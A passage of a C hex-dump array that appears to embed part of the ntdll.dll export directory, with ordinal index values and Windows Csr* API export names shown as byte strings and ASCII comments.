\"\\xDB\\x00\\xDC\\x00\\xDD\\x00\\xDE\\x00\\xDF\\x00\\xE0\\x00\\xE1\\x00\\xE2\\x00\"   //Û.Ü.Ý.Þ.ß.à.á.â.\n/* 005600 */   \"\\xE3\\x00\\xE4\\x00\\xE5\\x00\\xE6\\x00\\xE7\\x00\\xE8\\x00\\xE9\\x00\\xEA\\x00\"   //ã.ä.å.æ.ç.è.é.ê.\n/* 005620 */   \"\\xEB\\x00\\xEC\\x00\\xED\\x00\\xEE\\x00\\xEF\\x00\\xF0\\x00\\xF1\\x00\\xF2\\x00\"   //ë.ì.í.î.ï.ð.ñ.ò.\n/* 005640 */   \"\\xF3\\x00\\xF4\\x00\\xF5\\x00\\xF6\\x00\\xF7\\x00\\xF8\\x00\\xF9\\x00\\xFA\\x00\"   //ó.ô.õ.ö.÷.ø.ù.ú.\n/* 005660 */   \"\\xFB\\x00\\xFC\\x00\\xFD\\x00\\xFE\\x00\\xFF\\x00\\x00\\x01\\x01\\x01\\x02\\x01\"   //û.ü.ý.þ.ÿ.......\n/* 005680 */   \"\\x03\\x01\\x04\\x01\\x05\\x01\\x06\\x01\\x07\\x01\\x08\\x01\\x09\\x01\\x0A\\x01\"   //................\n/* 0056A0 */   \"\\x0B\\x01\\x0C\\x01\\x0D\\x01\\x0E\\x01\\x0F\\x01\\x10\\x01\\x11\\x01\\x12\\x01\"   //................\n/* 0056C0 */   \"\\x13\\x01\\x14\\x01\\x15\\x01\\x16\\x01\\x17\\x01\\x18\\x01\\x19\\x01\\x1A\\x01\"   //................\n/* 0056E0 */   \"\\x1B\\x01\\x1C\\x01\\x1D\\x01\\x1E\\x01\\x1F\\x01\\x20\\x01\\x21\\x01\\x22\\x01\"   //............!.\".\n/* 005700 */   \"\\x23\\x01\\x24\\x01\\x25\\x01\\x26\\x01\\x27\\x01\\x28\\x01\\x29\\x01\\x2A\\x01\"   //#.$.%.&.'.(.).*.\n/* 005720 */   \"\\x2B\\x01\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\\x30\\x01\\x31\\x01\\x32\\x01\"   //+.,.-.../.0.1.2.\n/* 005740 */   \"\\x33\\x01\\x34\\x01\\x35\\x01\\x36\\x01\\x37\\x01\\x38\\x01\\x39\\x01\\x3A\\x01\"   //3.4.5.6.7.8.9.:.\n/* 005760 */   \"\\x3B\\x01\\x3C\\x01\\x3D\\x01\\x3E\\x01\\x3F\\x01\\x40\\x01\\x41\\x01\\x42\\x01\"   //;.<.=.>.?.@.A.B.\n/* 005780 */   \"\\x43\\x01\\x44\\x01\\x45\\x01\\x46\\x01\\x47\\x01\\x48\\x01\\x49\\x01\\x4A\\x01\"   //C.D.E.F.G.H.I.J.\n/* 0057A0 */   \"\\x4B\\x01\\x4C\\x01\\x4D\\x01\\x4E\\x01\\x4F\\x01\\x50\\x01\\x51\\x01\\x52\\x01\"   //K.L.M.N.O.P.Q.R.\n/* 0057C0 */   \"\\x53\\x01\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\\x58\\x01\\x59\\x01\\x5A\\x01\"   //S.T.U.V.W.X.Y.Z.\n/* 0057E0 */   \"\\x5B\\x01\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\\x60\\x01\\x61\\x01\\x62\\x01\"   //[.\\.].^._.`.a.b.\n/* 005800 */   \"\\x63\\x01\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\\x68\\x01\\x69\\x01\\x6A\\x01\"   //c.d.e.f.g.h.i.j.\n/* 005820 */   \"\\x6B\\x01\\x6C\\x01\\x6D\\x01\\x6E\\x01\\x6F\\x01\\x70\\x01\\x71\\x01\\x72\\x01\"   //k.l.m.n.o.p.q.r.\n/* 005840 */   \"\\x73\\x01\\x74\\x01\\x75\\x01\\x00\\x00\\x76\\x01\\x77\\x01\\x78\\x01\\x79\\x01\"   //s.t.u...v.w.x.y.\n/* 005860 */   \"\\x7A\\x01\\x7B\\x01\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\\x80\\x01\\x81\\x01\"   //z.{.|.}.~.......\n/* 005880 */   \"\\x82\\x01\\x83\\x01\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\\x88\\x01\\x89\\x01\"   //................\n/* 0058A0 */   \"\\x8A\\x01\\x8B\\x01\\x8C\\x01\\x8D\\x01\\x8E\\x01\\x8F\\x01\\x90\\x01\\x91\\x01\"   //................\n/* 0058C0 */   \"\\x92\\x01\\x93\\x01\\x94\\x01\\x95\\x01\\x96\\x01\\x97\\x01\\x98\\x01\\x99\\x01\"   //................\n/* 0058E0 */   \"\\x9A\\x01\\x9B\\x01\\x9C\\x01\\x9D\\x01\\x9E\\x01\\x9F\\x01\\xA0\\x01\\xA1\\x01\"   //................\n/* 005900 */   \"\\xA2\\x01\\xA3\\x01\\xA5\\x01\\xA4\\x01\\xA6\\x01\\xA7\\x01\\xA8\\x01\\xA9\\x01\"   //................\n/* 005920 */   \"\\xAA\\x01\\xAB\\x01\\xAC\\x01\\xAD\\x01\\xAE\\x01\\xAF\\x01\\xB0\\x01\\xB1\\x01\"   //................\n/* 005940 */   \"\\xB2\\x01\\xB3\\x01\\xB4\\x01\\xB5\\x01\\xB6\\x01\\xB7\\x01\\xB8\\x01\\xB9\\x01\"   //................\n/* 005960 */   \"\\xBA\\x01\\xBB\\x01\\xBC\\x01\\xBD\\x01\\x01\\x00\\xBE\\x01\\xBF\\x01\\xC0\\x01\"   //..............À.\n/* 005980 */   \"\\xC1\\x01\\xC2\\x01\\x02\\x00\\xC3\\x01\\xC4\\x01\\xC5\\x01\\xC6\\x01\\xC7\\x01\"   //Á.Â...Ã.Ä.Å.Æ.Ç.\n/* 0059A0 */   \"\\xC8\\x01\\xC9\\x01\\xCA\\x01\\xCB\\x01\\xCC\\x01\\xCD\\x01\\xCE\\x01\\xCF\\x01\"   //È.É.Ê.Ë.Ì.Í.Î.Ï.\n/* 0059C0 */   \"\\xD0\\x01\\xD1\\x01\\xD2\\x01\\xD3\\x01\\xD4\\x01\\xD5\\x01\\xD6\\x01\\xD7\\x01\"   //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×.\n/* 0059E0 */   \"\\xD8\\x01\\xD9\\x01\\xDA\\x01\\xDB\\x01\\xDC\\x01\\xDD\\x01\\xDE\\x01\\xDF\\x01\"   //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß.\n/* 005A00 */   \"\\xE0\\x01\\xE1\\x01\\xE2\\x01\\xE3\\x01\\xE4\\x01\\xE5\\x01\\xE6\\x01\\xE7\\x01\"   //à.á.â.ã.ä.å.æ.ç.\n/* 005A20 */   \"\\xE8\\x01\\xE9\\x01\\xEA\\x01\\xEB\\x01\\xEC\\x01\\xED\\x01\\xEE\\x01\\xEF\\x01\"   //è.é.ê.ë.ì.í.î.ï.\n/* 005A40 */   \"\\xF0\\x01\\xF1\\x01\\xF2\\x01\\xF3\\x01\\xF4\\x01\\xF5\\x01\\xF6\\x01\\xF7\\x01\"   //ð.ñ.ò.ó.ô.õ.ö.÷.\n/* 005A60 */   \"\\xF8\\x01\\xF9\\x01\\xFA\\x01\\xFB\\x01\\xFC\\x01\\xFD\\x01\\xFE\\x01\\xFF\\x01\"   //ø.ù.ú.û.ü.ý.þ.ÿ.\n/* 005A80 */   \"\\x00\\x02\\x01\\x02\\x02\\x02\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x07\\x02\"   //................\n/* 005AA0 */   \"\\x08\\x02\\x09\\x02\\x0A\\x02\\x0B\\x02\\x0C\\x02\\x0D\\x02\\x0E\\x02\\x0F\\x02\"   //................\n/* 005AC0 */   \"\\x10\\x02\\x11\\x02\\x12\\x02\\x13\\x02\\x14\\x02\\x15\\x02\\x16\\x02\\x17\\x02\"   //................\n/* 005AE0 */   \"\\x18\\x02\\x19\\x02\\x1A\\x02\\x1B\\x02\\x1C\\x02\\x1D\\x02\\x1E\\x02\\x1F\\x02\"   //................\n/* 005B00 */   \"\\x20\\x02\\x21\\x02\\x22\\x02\\x23\\x02\\x24\\x02\\x25\\x02\\x26\\x02\\x27\\x02\"   //..!.\".#.$.%.&.'.\n/* 005B20 */   \"\\x28\\x02\\x29\\x02\\x2A\\x02\\x2B\\x02\\x2C\\x02\\x2D\\x02\\x2E\\x02\\x2F\\x02\"   //(.).*.+.,.-.../.\n/* 005B40 */   \"\\x30\\x02\\x31\\x02\\x32\\x02\\x33\\x02\\x34\\x02\\x35\\x02\\x36\\x02\\x37\\x02\"   //0.1.2.3.4.5.6.7.\n/* 005B60 */   \"\\x38\\x02\\x39\\x02\\x3A\\x02\\x3B\\x02\\x3C\\x02\\x3D\\x02\\x3E\\x02\\x3F\\x02\"   //8.9.:.;.<.=.>.?.\n/* 005B80 */   \"\\x40\\x02\\x41\\x02\\x42\\x02\\x43\\x02\\x44\\x02\\x45\\x02\\x46\\x02\\x47\\x02\"   //@.A.B.C.D.E.F.G.\n/* 005BA0 */   \"\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\\x4C\\x02\\x4D\\x02\\x4E\\x02\\x4F\\x02\"   //H.I.J.K.L.M.N.O.\n/* 005BC0 */   \"\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\\x54\\x02\\x55\\x02\\x56\\x02\\x57\\x02\"   //P.Q.R.S.T.U.V.W.\n/* 005BE0 */   \"\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\\x5C\\x02\\x5D\\x02\\x5E\\x02\\x5F\\x02\"   //X.Y.Z.[.\\.].^._.\n/* 005C00 */   \"\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\\x64\\x02\\x65\\x02\\x66\\x02\\x67\\x02\"   //`.a.b.c.d.e.f.g.\n/* 005C20 */   \"\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\\x6C\\x02\\x6D\\x02\\x6E\\x02\\x6F\\x02\"   //h.i.j.k.l.m.n.o.\n/* 005C40 */   \"\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\\x74\\x02\\x75\\x02\\x76\\x02\\x77\\x02\"   //p.q.r.s.t.u.v.w.\n/* 005C60 */   \"\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\\x7C\\x02\\x7D\\x02\\x7E\\x02\\x7F\\x02\"   //x.y.z.{.|.}.~...\n/* 005C80 */   \"\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\\x84\\x02\\x85\\x02\\x86\\x02\\x87\\x02\"   //................\n/* 005CA0 */   \"\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\\x8C\\x02\\x8D\\x02\\x8E\\x02\\x8F\\x02\"   //................\n/* 005CC0 */   \"\\x90\\x02\\x91\\x02\\x92\\x02\\x03\\x00\\x93\\x02\\x94\\x02\\x95\\x02\\x96\\x02\"   //................\n/* 005CE0 */   \"\\x97\\x02\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\\x9C\\x02\\x9D\\x02\\x9E\\x02\"   //................\n/* 005D00 */   \"\\x9F\\x02\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\\xA4\\x02\\xA5\\x02\\xA6\\x02\"   //................\n/* 005D20 */   \"\\xA7\\x02\\xA8\\x02\\xA9\\x02\\xAA\\x02\\xAB\\x02\\xAC\\x02\\xAD\\x02\\xAE\\x02\"   //................\n/* 005D40 */   \"\\xAF\\x02\\xB0\\x02\\xB1\\x02\\xB2\\x02\\xB3\\x02\\xB4\\x02\\xB5\\x02\\xB6\\x02\"   //................\n/* 005D60 */   \"\\xB7\\x02\\xB8\\x02\\xB9\\x02\\xBA\\x02\\xBB\\x02\\xBC\\x02\\xBD\\x02\\xBE\\x02\"   //................\n/* 005D80 */   \"\\xBF\\x02\\xC0\\x02\\xC1\\x02\\xC2\\x02\\xC3\\x02\\xC4\\x02\\xC5\\x02\\xC6\\x02\"   //..À.Á.Â.Ã.Ä.Å.Æ.\n/* 005DA0 */   \"\\xC7\\x02\\xC8\\x02\\xC9\\x02\\xCA\\x02\\xCB\\x02\\xCC\\x02\\xCD\\x02\\xCE\\x02\"   //Ç.È.É.Ê.Ë.Ì.Í.Î.\n/* 005DC0 */   \"\\xCF\\x02\\xD0\\x02\\xD1\\x02\\xD2\\x02\\xD3\\x02\\xD4\\x02\\xD5\\x02\\xD6\\x02\"   //Ï.Ð.Ñ.Ò.Ó.Ô.Õ.Ö.\n/* 005DE0 */   \"\\xD7\\x02\\xD8\\x02\\xD9\\x02\\xDA\\x02\\xDB\\x02\\xDC\\x02\\xDD\\x02\\xDE\\x02\"   //×.Ø.Ù.Ú.Û.Ü.Ý.Þ.\n/* 005E00 */   \"\\xDF\\x02\\xE0\\x02\\xE1\\x02\\xE2\\x02\\xE3\\x02\\xE4\\x02\\xE5\\x02\\xE6\\x02\"   //ß.à.á.â.ã.ä.å.æ.\n/* 005E20 */   \"\\xE7\\x02\\xE8\\x02\\xE9\\x02\\xEA\\x02\\xEB\\x02\\xEC\\x02\\xED\\x02\\xEE\\x02\"   //ç.è.é.ê.ë.ì.í.î.\n/* 005E40 */   \"\\xEF\\x02\\xF0\\x02\\xF1\\x02\\xF2\\x02\\xF3\\x02\\xF4\\x02\\xF5\\x02\\xF6\\x02\"   //ï.ð.ñ.ò.ó.ô.õ.ö.\n/* 005E60 */   \"\\xF7\\x02\\xF8\\x02\\xF9\\x02\\xFA\\x02\\xFB\\x02\\xFC\\x02\\xFD\\x02\\xFE\\x02\"   //÷.ø.ù.ú.û.ü.ý.þ.\n/* 005E80 */   \"\\xFF\\x02\\x00\\x03\\x01\\x03\\x02\\x03\\x03\\x03\\x04\\x03\\x05\\x03\\x06\\x03\"   //ÿ...............\n/* 005EA0 */   \"\\x07\\x03\\x08\\x03\\x09\\x03\\x0A\\x03\\x0B\\x03\\x0C\\x03\\x0E\\x03\\x0D\\x03\"   //................\n/* 005EC0 */   \"\\x0F\\x03\\x10\\x03\\x11\\x03\\x12\\x03\\x13\\x03\\x14\\x03\\x15\\x03\\x16\\x03\"   //................\n/* 005EE0 */   \"\\x17\\x03\\x18\\x03\\x19\\x03\\x1A\\x03\\x1B\\x03\\x1C\\x03\\x1D\\x03\\x1E\\x03\"   //................\n/* 005F00 */   \"\\x1F\\x03\\x20\\x03\\x21\\x03\\x22\\x03\\x23\\x03\\x24\\x03\\x25\\x03\\x26\\x03\"   //....!.\".#.$.%.&.\n/* 005F20 */   \"\\x27\\x03\\x28\\x03\\x29\\x03\\x2A\\x03\\x2B\\x03\\x2C\\x03\\x2D\\x03\\x2E\\x03\"   //'.(.).*.+.,.-...\n/* 005F40 */   \"\\x2F\\x03\\x30\\x03\\x31\\x03\\x32\\x03\\x33\\x03\\x34\\x03\\x35\\x03\\x36\\x03\"   ///.0.1.2.3.4.5.6.\n/* 005F60 */   \"\\x37\\x03\\x38\\x03\\x39\\x03\\x3A\\x03\\x3B\\x03\\x3C\\x03\\x3D\\x03\\x3E\\x03\"   //7.8.9.:.;.<.=.>.\n/* 005F80 */   \"\\x3F\\x03\\x40\\x03\\x41\\x03\\x42\\x03\\x43\\x03\\x04\\x00\\x05\\x00\\x45\\x03\"   //?.@.A.B.C.....E.\n/* 005FA0 */   \"\\x44\\x03\\x46\\x03\\x47\\x03\\x48\\x03\\x49\\x03\\x4A\\x03\\x4B\\x03\\x4C\\x03\"   //D.F.G.H.I.J.K.L.\n/* 005FC0 */   \"\\x4D\\x03\\x4E\\x03\\x4F\\x03\\x50\\x03\\x51\\x03\\x52\\x03\\x53\\x03\\x54\\x03\"   //M.N.O.P.Q.R.S.T.\n/* 005FE0 */   \"\\x55\\x03\\x56\\x03\\x57\\x03\\x58\\x03\\x59\\x03\\x5A\\x03\\x5B\\x03\\x5C\\x03\"   //U.V.W.X.Y.Z.[.\\.\n/* 006000 */   \"\\x5D\\x03\\x5E\\x03\\x5F\\x03\\x60\\x03\\x06\\x00\\x61\\x03\\x62\\x03\\x63\\x03\"   //].^._.`...a.b.c.\n/* 006020 */   \"\\x64\\x03\\x65\\x03\\x66\\x03\\x67\\x03\\x68\\x03\\x69\\x03\\x6A\\x03\\x6B\\x03\"   //d.e.f.g.h.i.j.k.\n/* 006040 */   \"\\x6C\\x03\\x6D\\x03\\x6E\\x03\\x6F\\x03\\x70\\x03\\x71\\x03\\x72\\x03\\x73\\x03\"   //l.m.n.o.p.q.r.s.\n/* 006060 */   \"\\x74\\x03\\x75\\x03\\x76\\x03\\x77\\x03\\x78\\x03\\x79\\x03\\x7A\\x03\\x7B\\x03\"   //t.u.v.w.x.y.z.{.\n/* 006080 */   \"\\x7C\\x03\\x7D\\x03\\x7E\\x03\\x7F\\x03\\x80\\x03\\x81\\x03\\x82\\x03\\x83\\x03\"   //|.}.~...........\n/* 0060A0 */   \"\\x84\\x03\\x85\\x03\\x86\\x03\\x87\\x03\\x88\\x03\\x89\\x03\\x8A\\x03\\x8B\\x03\"   //................\n/* 0060C0 */   \"\\x8C\\x03\\x8D\\x03\\x8E\\x03\\x8F\\x03\\x90\\x03\\x91\\x03\\x92\\x03\\x93\\x03\"   //................\n/* 0060E0 */   \"\\x94\\x03\\x95\\x03\\x96\\x03\\x97\\x03\\x98\\x03\\x99\\x03\\x9A\\x03\\x9B\\x03\"   //................\n/* 006100 */   \"\\x9C\\x03\\x9D\\x03\\x9E\\x03\\x9F\\x03\\xA0\\x03\\xA1\\x03\\xA2\\x03\\xA3\\x03\"   //................\n/* 006120 */   \"\\xA4\\x03\\xA5\\x03\\xA6\\x03\\xA7\\x03\\xA8\\x03\\xA9\\x03\\xAA\\x03\\xAB\\x03\"   //................\n/* 006140 */   \"\\xAC\\x03\\xAD\\x03\\xAE\\x03\\xAF\\x03\\xB0\\x03\\xB1\\x03\\xB2\\x03\\xB3\\x03\"   //................\n/* 006160 */   \"\\xB4\\x03\\xB5\\x03\\xB6\\x03\\xB7\\x03\\xB8\\x03\\xB9\\x03\\xBA\\x03\\xBB\\x03\"   //................\n/* 006180 */   \"\\xBC\\x03\\xBD\\x03\\xBE\\x03\\xBF\\x03\\xC0\\x03\\xC1\\x03\\xC2\\x03\\xC3\\x03\"   //........À.Á.Â.Ã.\n/* 0061A0 */   \"\\xC4\\x03\\xC5\\x03\\xC6\\x03\\xC7\\x03\\xC8\\x03\\xC9\\x03\\xCA\\x03\\xCB\\x03\"   //Ä.Å.Æ.Ç.È.É.Ê.Ë.\n/* 0061C0 */   \"\\xCC\\x03\\xCD\\x03\\xCE\\x03\\xCF\\x03\\xD0\\x03\\xD1\\x03\\xD2\\x03\\xD3\\x03\"   //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó.\n/* 0061E0 */   \"\\xD4\\x03\\xD5\\x03\\xD6\\x03\\xD7\\x03\\xD8\\x03\\xD9\\x03\\xDA\\x03\\xDB\\x03\"   //Ô.Õ.Ö.×.Ø.Ù.Ú.Û.\n/* 006200 */   \"\\xDC\\x03\\xDD\\x03\\xDE\\x03\\xDF\\x03\\xE0\\x03\\xE1\\x03\\xE2\\x03\\xE4\\x03\"   //Ü.Ý.Þ.ß.à.á.â.ä.\n/* 006220 */   \"\\xE3\\x03\\xE5\\x03\\xE6\\x03\\xE7\\x03\\xE8\\x03\\xE9\\x03\\xEA\\x03\\xEB\\x03\"   //ã.å.æ.ç.è.é.ê.ë.\n/* 006240 */   \"\\xEC\\x03\\xED\\x03\\xEE\\x03\\xEF\\x03\\xF0\\x03\\xF1\\x03\\xF2\\x03\\xF3\\x03\"   //ì.í.î.ï.ð.ñ.ò.ó.\n/* 006260 */   \"\\xF4\\x03\\xF5\\x03\\xF6\\x03\\xF7\\x03\\xF8\\x03\\xF9\\x03\\xFA\\x03\\xFB\\x03\"   //ô.õ.ö.÷.ø.ù.ú.û.\n/* 006280 */   \"\\xFC\\x03\\xFD\\x03\\xFE\\x03\\xFF\\x03\\x00\\x04\\x01\\x04\\x02\\x04\\x03\\x04\"   //ü.ý.þ.ÿ.........\n/* 0062A0 */   \"\\x04\\x04\\x05\\x04\\x06\\x04\\x07\\x04\\x08\\x04\\x09\\x04\\x0A\\x04\\x0B\\x04\"   //................\n/* 0062C0 */   \"\\x0C\\x04\\x0D\\x04\\x0E\\x04\\x0F\\x04\\x10\\x04\\x11\\x04\\x12\\x04\\x13\\x04\"   //................\n/* 0062E0 */   \"\\x14\\x04\\x15\\x04\\x16\\x04\\x17\\x04\\x18\\x04\\x19\\x04\\x1A\\x04\\x1B\\x04\"   //................\n/* 006300 */   \"\\x1C\\x04\\x1D\\x04\\x1E\\x04\\x1F\\x04\\x20\\x04\\x21\\x04\\x22\\x04\\x23\\x04\"   //..........!.\".#.\n/* 006320 */   \"\\x24\\x04\\x25\\x04\\x26\\x04\\x27\\x04\\x28\\x04\\x29\\x04\\x2A\\x04\\x2B\\x04\"   //$.%.&.'.(.).*.+.\n/* 006340 */   \"\\x2C\\x04\\x2D\\x04\\x2E\\x04\\x2F\\x04\\x30\\x04\\x31\\x04\\x32\\x04\\x33\\x04\"   //,.-.../.0.1.2.3.\n/* 006360 */   \"\\x34\\x04\\x35\\x04\\x36\\x04\\x37\\x04\\x38\\x04\\x39\\x04\\x3A\\x04\\x3B\\x04\"   //4.5.6.7.8.9.:.;.\n/* 006380 */   \"\\x3C\\x04\\x3D\\x04\\x3E\\x04\\x3F\\x04\\x40\\x04\\x41\\x04\\x42\\x04\\x43\\x04\"   //<.=.>.?.@.A.B.C.\n/* 0063A0 */   \"\\x44\\x04\\x45\\x04\\x46\\x04\\x47\\x04\\x48\\x04\\x49\\x04\\x4A\\x04\\x4B\\x04\"   //D.E.F.G.H.I.J.K.\n/* 0063C0 */   \"\\x4C\\x04\\x4D\\x04\\x4E\\x04\\x4F\\x04\\x50\\x04\\x51\\x04\\x52\\x04\\x53\\x04\"   //L.M.N.O.P.Q.R.S.\n/* 0063E0 */   \"\\x54\\x04\\x55\\x04\\x56\\x04\\x57\\x04\\x58\\x04\\x59\\x04\\x5A\\x04\\x5B\\x04\"   //T.U.V.W.X.Y.Z.[.\n/* 006400 */   \"\\x5C\\x04\\x5D\\x04\\x5E\\x04\\x5F\\x04\\x60\\x04\\x61\\x04\\x62\\x04\\x63\\x04\"   //\\.].^._.`.a.b.c.\n/* 006420 */   \"\\x64\\x04\\x65\\x04\\x66\\x04\\x67\\x04\\x68\\x04\\x69\\x04\\x6A\\x04\\x6B\\x04\"   //d.e.f.g.h.i.j.k.\n/* 006440 */   \"\\x6C\\x04\\x6D\\x04\\x6E\\x04\\x6F\\x04\\x70\\x04\\x71\\x04\\x72\\x04\\x73\\x04\"   //l.m.n.o.p.q.r.s.\n/* 006460 */   \"\\x74\\x04\\x75\\x04\\x76\\x04\\x77\\x04\\x78\\x04\\x79\\x04\\x7A\\x04\\x7B\\x04\"   //t.u.v.w.x.y.z.{.\n/* 006480 */   \"\\x7C\\x04\\x7D\\x04\\x7E\\x04\\x7F\\x04\\x80\\x04\\x81\\x04\\x82\\x04\\x83\\x04\"   //|.}.~...........\n/* 0064A0 */   \"\\x84\\x04\\x85\\x04\\x86\\x04\\x87\\x04\\x88\\x04\\x89\\x04\\x8A\\x04\\x8B\\x04\"   //................\n/* 0064C0 */   \"\\x8C\\x04\\x8D\\x04\\x8E\\x04\\x8F\\x04\\x90\\x04\\x91\\x04\\x92\\x04\\x93\\x04\"   //................\n/* 0064E0 */   \"\\x94\\x04\\x95\\x04\\x96\\x04\\x97\\x04\\x98\\x04\\x99\\x04\\x9A\\x04\\x9B\\x04\"   //................\n/* 006500 */   \"\\x9C\\x04\\x9D\\x04\\x9E\\x04\\x9F\\x04\\xA0\\x04\\xA1\\x04\\xA2\\x04\\xA3\\x04\"   //................\n/* 006520 */   \"\\xA4\\x04\\xA5\\x04\\xA6\\x04\\xA7\\x04\\xA8\\x04\\xA9\\x04\\xAA\\x04\\xAB\\x04\"   //................\n/* 006540 */   \"\\xAC\\x04\\xAD\\x04\\xAE\\x04\\xAF\\x04\\xB0\\x04\\xB1\\x04\\xB2\\x04\\xB3\\x04\"   //................\n/* 006560 */   \"\\xB4\\x04\\xB5\\x04\\xB6\\x04\\xB7\\x04\\xB8\\x04\\xB9\\x04\\xBA\\x04\\xBB\\x04\"   //................\n/* 006580 */   \"\\xBC\\x04\\xBD\\x04\\xBE\\x04\\xBF\\x04\\xC0\\x04\\xC1\\x04\\xC2\\x04\\xC3\\x04\"   //........À.Á.Â.Ã.\n/* 0065A0 */   \"\\xC4\\x04\\xC5\\x04\\xC6\\x04\\xC7\\x04\\xC8\\x04\\xC9\\x04\\xCA\\x04\\xCB\\x04\"   //Ä.Å.Æ.Ç.È.É.Ê.Ë.\n/* 0065C0 */   \"\\xCC\\x04\\xCD\\x04\\xCE\\x04\\xCF\\x04\\xD0\\x04\\xD1\\x04\\xD2\\x04\\xD3\\x04\"   //Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó.\n/* 0065E0 */   \"\\xD4\\x04\\xD5\\x04\\xD6\\x04\\xD7\\x04\\xD8\\x04\\xD9\\x04\\xDA\\x04\\xDB\\x04\"   //Ô.Õ.Ö.×.Ø.Ù.Ú.Û.\n/* 006600 */   \"\\xDC\\x04\\xDD\\x04\\xDE\\x04\\xDF\\x04\\xE0\\x04\\xE1\\x04\\xE2\\x04\\xE3\\x04\"   //Ü.Ý.Þ.ß.à.á.â.ã.\n/* 006620 */   \"\\xE4\\x04\\xE5\\x04\\xE6\\x04\\xE7\\x04\\xE8\\x04\\xE9\\x04\\xEA\\x04\\xEB\\x04\"   //ä.å.æ.ç.è.é.ê.ë.\n/* 006640 */   \"\\xEC\\x04\\xED\\x04\\xEE\\x04\\xEF\\x04\\xF0\\x04\\xF1\\x04\\xF2\\x04\\xF3\\x04\"   //ì.í.î.ï.ð.ñ.ò.ó.\n/* 006660 */   \"\\xF4\\x04\\xF5\\x04\\xF6\\x04\\xF7\\x04\\xF8\\x04\\xF9\\x04\\xFA\\x04\\xFB\\x04\"   //ô.õ.ö.÷.ø.ù.ú.û.\n/* 006680 */   \"\\xFC\\x04\\xFD\\x04\\xFE\\x04\\xFF\\x04\\x00\\x05\\x01\\x05\\x02\\x05\\x03\\x05\"   //ü.ý.þ.ÿ.........\n/* 0066A0 */   \"\\x04\\x05\\x05\\x05\\x06\\x05\\x07\\x05\\x08\\x05\\x09\\x05\\x0A\\x05\\x0B\\x05\"   //................\n/* 0066C0 */   \"\\x0C\\x05\\x0D\\x05\\x0E\\x05\\x0F\\x05\\x10\\x05\\x11\\x05\\x12\\x05\\x13\\x05\"   //................\n/* 0066E0 */   \"\\x14\\x05\\x15\\x05\\x16\\x05\\x17\\x05\\x18\\x05\\x19\\x05\\x1A\\x05\\x1B\\x05\"   //................\n/* 006700 */   \"\\x1C\\x05\\x1D\\x05\\x1E\\x05\\x1F\\x05\\x20\\x05\\x21\\x05\\x22\\x05\\x23\\x05\"   //..........!.\".#.\n/* 006720 */   \"\\x6E\\x74\\x64\\x6C\\x6C\\x2E\\x64\\x6C\\x6C\\x00\\x43\\x73\\x72\\x41\\x6C\\x6C\"   //ntdll.dll.CsrAll\n/* 006740 */   \"\\x6F\\x63\\x61\\x74\\x65\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x42\\x75\\x66\\x66\"   //ocateCaptureBuff\n/* 006760 */   \"\\x65\\x72\\x00\\x43\\x73\\x72\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x4D\\x65\"   //er.CsrAllocateMe\n/* 006780 */   \"\\x73\\x73\\x61\\x67\\x65\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x43\\x73\\x72\"   //ssagePointer.Csr\n/* 0067A0 */   \"\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x42\\x75\"   //CaptureMessageBu\n/* 0067C0 */   \"\\x66\\x66\\x65\\x72\\x00\\x43\\x73\\x72\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x4D\"   //ffer.CsrCaptureM\n/* 0067E0 */   \"\\x65\\x73\\x73\\x61\\x67\\x65\\x4D\\x75\\x6C\\x74\\x69\\x55\\x6E\\x69\\x63\\x6F\"   //essageMultiUnico\n/* 006800 */   \"\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x73\\x49\\x6E\\x50\\x6C\\x61\\x63\\x65\"   //deStringsInPlace\n/* 006820 */   \"\\x00\\x43\\x73\\x72\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x4D\\x65\\x73\\x73\\x61\"   //.CsrCaptureMessa\n/* 006840 */   \"\\x67\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x43\\x73\\x72\\x43\\x61\\x70\\x74\"   //geString.CsrCapt\n/* 006860 */   \"\\x75\\x72\\x65\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\\x00\\x43\\x73\\x72\\x43\\x6C\"   //ureTimeout.CsrCl\n/* 006880 */   \"\\x69\\x65\\x6E\\x74\\x43\\x61\\x6C\\x6C\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x43\"   //ientCallServer.C\n/* 0068A0 */   \"\\x73\\x72\\x43\\x6C\\x69\\x65\\x6E\\x74\\x43\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x54\"   //srClientConnectT\n/* 0068C0 */   \"\\x6F\\x53\\x65\\x72\\x76\\x65\\x72\\x00\\x43\\x73\\x72\\x46\\x72\\x65\\x65\\x43\"   //oServer.CsrFreeC\n/* 0068E0 */   \"\\x61\\x70\\x74\\x75\\x72\\x65\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x43\\x73\\x72\"   //aptureBuffer.Csr\n/* 006900 */   